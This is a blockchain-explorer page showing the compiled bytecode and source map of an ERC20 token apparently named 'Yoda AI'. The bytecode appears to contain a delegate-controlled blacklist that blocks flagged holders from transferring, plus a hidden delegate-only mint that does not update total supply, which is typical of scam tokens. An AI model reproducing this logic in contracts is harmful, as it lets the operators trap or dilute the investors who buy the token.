260200191505060405180910390f35b61041c600480360360208110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc6565b6040518082815260200191505060405180910390f35b61043a61100f565b005b6104446110ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c86004803603602081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f3565b005b6104d261125f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105125780820151818401526020810190506104f7565b50505050905090810190601f16801561053f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611298565b604051808215151515815260200191505060405180910390f35b6105f5600480360360208110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b1565b005b6106436004803603604081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ff565b604051808215151515815260200191505060405180910390f35b6106bf6004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fb565b6040518082815260200191505060405180910390f35b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600781526020017f596f64612041490000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109035750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561095a5760008214610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a6957600080fd5b610abb82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b610d20816119b3565b50565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e34576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec8565b610e47838261198290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a64e8d4a510000281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611017611b86565b73ffffffffffffffffffffffffffffffffffffffff166110356110ca565b73ffffffffffffffffffffffffffffffffffffffff16146110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110c86000611b8e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114d57600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611203576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061125c565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600681526020017f596f64614149000000000000000000000000000000000000000000000000000081525081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061133b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113925760008214611391576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561141857600080fd5b61146a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ff82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6115b9611b86565b73ffffffffffffffffffffffffffffffffffffffff166115d76110ca565b73ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116bb57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061179082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561198e57fe5b818303905092915050565b60008183019050828110156119aa57fe5b80905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616c6c6572206e6f742062656c6f6e6720746f2064656c656761746573000081525060200191505060405180910390fd5b6000811415611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cd36025913960400191505060405180910390fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cf86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a206275726e207a65726f20746f6b656e7320697320646973616c6c6f7765644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820d1af0a811368ba1748b35d88a9c2aeef6f2ab89da3e86bafd36e7357721bb6cf64736f6c634300050f0032
Deployed Bytecode Sourcemap
8815:558:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8815:558:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8070:188;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8070:188:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9023:39;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;9023:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7872:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7872:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4015:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6448:595;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6448:595:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8939:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9289:81;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9289:81:0;;;;;;;;;;;;;;;;;:::i;:::-;;7049:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7049:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8853:81;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3401:129;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3401:129:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5226:99;;;:::i;:::-;;4717:85;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7495:371;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7495:371:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;8978:40;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;8978:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3536:471;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3536:471:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5070:150;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5070:150:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;8506:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8506:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6281:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6281:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8070:188;8173:4;8197:23;:55;8227:24;8197:55;;;;;;;;;;;;;;;;;;;;;;;;;8190:62;;8070:188;;;:::o;9023:39::-;;;;;;;;;;;;;;;;;;;:::o;7872:192::-;7939:4;7984:6;7952:7;:19;7960:10;7952:19;;;;;;;;;;;;;;;:29;7972:8;7952:29;;;;;;;;;;;;;;;:38;;;;8023:8;8002:38;;8011:10;8002:38;;;8033:6;8002:38;;;;;;;;;;;;;;;;;;8054:4;8047:11;;7872:192;;;;:::o;4015:108::-;4079:7;4105:12;;4098:19;;4015:108;:::o;6448:595::-;6560:4;6577:23;:30;6601:5;6577:30;;;;;;;;;;;;;;;;;;;;;;;;;:67;;;;6616:23;:28;6640:3;6616:28;;;;;;;;;;;;;;;;;;;;;;;;;6577:67;6568:108;;;6670:1;6660:6;:11;6646:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6568:108;6707:1;6692:17;;:3;:17;;;;6678:32;;;;;;6736:8;:15;6745:5;6736:15;;;;;;;;;;;;;;;;6726:6;:25;;6712:40;;;;;;6778:7;:14;6786:5;6778:14;;;;;;;;;;;;;;;:26;6793:10;6778:26;;;;;;;;;;;;;;;;6768:6;:36;;6754:51;;;;;;6830:27;6850:6;6830:8;:15;6839:5;6830:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6812:8;:15;6821:5;6812:15;;;;;;;;;;;;;;;:45;;;;6880:25;6898:6;6880:8;:13;6889:3;6880:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6864:8;:13;6873:3;6864:13;;;;;;;;;;;;;;;:41;;;;6941:38;6972:6;6941:7;:14;6949:5;6941:14;;;;;;;;;;;;;;;:26;6956:10;6941:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;6912:7;:14;6920:5;6912:14;;;;;;;;;;;;;;;:26;6927:10;6912:26;;;;;;;;;;;;;;;:67;;;;7007:3;6991:28;;7000:5;6991:28;;;7012:6;6991:28;;;;;;;;;;;;;;;;;;7033:4;7026:11;;6448:595;;;;;:::o;8939:34::-;8972:1;8939:34;:::o;9289:81::-;9351:13;9357:6;9351:5;:13::i;:::-;9289:81;:::o;7049:440::-;7157:4;7173:13;7189:7;:19;7197:10;7189:19;;;;;;;;;;;;;;;:29;7209:8;7189:29;;;;;;;;;;;;;;;;7173:45;;7248:8;7229:16;:27;7225:168;;;7299:1;7267:7;:19;7275:10;7267:19;;;;;;;;;;;;;;;:29;7287:8;7267:29;;;;;;;;;;;;;;;:33;;;;7225:168;;;7355:30;7368:16;7355:8;:12;;:30;;;;:::i;:::-;7323:7;:19;7331:10;7323:19;;;;;;;;;;;;;;;:29;7343:8;7323:29;;;;;;;;;;;;;;;:62;;;;7225:168;7425:8;7404:61;;7413:10;7404:61;;;7435:7;:19;7443:10;7435:19;;;;;;;;;;;;;;;:29;7455:8;7435:29;;;;;;;;;;;;;;;;7404:61;;;;;;;;;;;;;;;;;;7479:4;7472:11;;;7049:440;;;;:::o;8853:81::-;8972:1;8916:17;;8910:2;:23;8893:13;:41;8853:81;:::o;3401:129::-;3484:7;3507:8;:17;3516:7;3507:17;;;;;;;;;;;;;;;;3500:24;;3401:129;;;:::o;5226:99::-;4865:12;:10;:12::i;:::-;4854:23;;:7;:5;:7::i;:::-;:23;;;4840:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5289:30;5316:1;5289:18;:30::i;:::-;5226:99::o;4717:85::-;4769:7;4790:6;;;;;;;;;;;4783:13;;4717:85;:::o;7495:371::-;7619:9;;;;;;;;;;;7600:28;;:10;:28;;;7586:43;;;;;;7700:4;7641:63;;:23;:55;7671:24;7641:55;;;;;;;;;;;;;;;;;;;;;;;;;:63;;;7631:230;;;7770:5;7712:23;:55;7742:24;7712:55;;;;;;;;;;;;;;;;:63;;;;;;;;;;;;;;;;;;7631:230;;;7849:4;7791:23;:55;7821:24;7791:55;;;;;;;;;;;;;;;;:62;;;;;;;;;;;;;;;;;;7631:230;7495:371;:::o;8978:40::-;;;;;;;;;;;;;;;;;;;:::o;3536:471::-;3625:4;3643:23;:35;3667:10;3643:35;;;;;;;;;;;;;;;;;;;;;;;;;:72;;;;3687:23;:28;3711:3;3687:28;;;;;;;;;;;;;;;;;;;;;;;;;3643:72;3633:114;;;3741:1;3731:6;:11;3717:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3633:114;3778:1;3763:17;;:3;:17;;;;3749:32;;;;;;3807:8;:20;3816:10;3807:20;;;;;;;;;;;;;;;;3797:6;:30;;3783:45;;;;;;3858:32;3883:6;3858:8;:20;3867:10;3858:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;3835:8;:20;3844:10;3835:20;;;;;;;;;;;;;;;:55;;;;3913:25;3931:6;3913:8;:13;3922:3;3913:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3897:8;:13;3906:3;3897:13;;;;;;;;;;;;;;;:41;;;;3971:3;3950:33;;3959:10;3950:33;;;3976:6;3950:33;;;;;;;;;;;;;;;;;;3997:4;3990:11;;3536:471;;;;:::o;5070:150::-;4865:12;:10;:12::i;:::-;4854:23;;:7;:5;:7::i;:::-;:23;;;4840:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5185:1;5164:23;;:9;;;;;;;;;;;:23;;;5150:38;;;;;;5207:7;5195:9;;:19;;;;;;;;;;;;;;;;;;5070:150;:::o;8506:302::-;8609:4;8664:46;8698:11;8664:7;:19;8672:10;8664:19;;;;;;;;;;;;;;;:29;8684:8;8664:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;8625:7;:19;8633:10;8625:19;;;;;;;;;;;;;;;:29;8645:8;8625:29;;;;;;;;;;;;;;;:86;;;;8744:8;8723:61;;8732:10;8723:61;;;8754:7;:19;8762:10;8754:19;;;;;;;;;;;;;;;:29;8774:8;8754:29;;;;;;;;;;;;;;;;8723:61;;;;;;;;;;;;;;;;;;8798:4;8791:11;;8506:302;;;;:::o;6281:161::-;6385:7;6411;:15;6419:6;6411:15;;;;;;;;;;;;;;;:25;6427:8;6411:25;;;;;;;;;;;;;;;;6404:32;;6281:161;;;;:::o;2748:147::-;2837:7;2868:1;2863;:6;;2856:14;;;;2888:1;2884;:5;2877:12;;2748:147;;;;:::o;2903:155::-;2986:9;3015:1;3011;:5;3007:9;;3035:1;3030;:6;;3023:14;;;;3051:1;3044:8;;2903:155;;;;:::o;8264:236::-;5001:10;4988:23;;:9;;;;;;;;;;;:23;;;4974:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8362:1;8352:6;:11;;8344:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8436:6;8412:8;:20;8421:10;8412:20;;;;;;;;;;;;;;;;:30;;;;;;;;;;;8483:1;8454:40;;8463:10;8454:40;;;8487:6;8454:40;;;;;;;;;;;;;;;;;;8264:236;:::o;4154:105::-;4220:7;4243:10;4236:17;;4154:105;:::o;5331:231::-;5437:1;5417:22;;:8;:22;;;;5409:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5523:8;5494:38;;5515:6;;;;;;;;;;;5494:38;;;;;;;;;;;;5548:8;5539:6;;:17;;;;;;;;;;;;;;;;;;5331:231;:::o
Swarm Source
bzzr://d1af0a811368ba1748b35d88a9c2aeef6f2ab89da3e86bafd36e7357721bb6cf
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.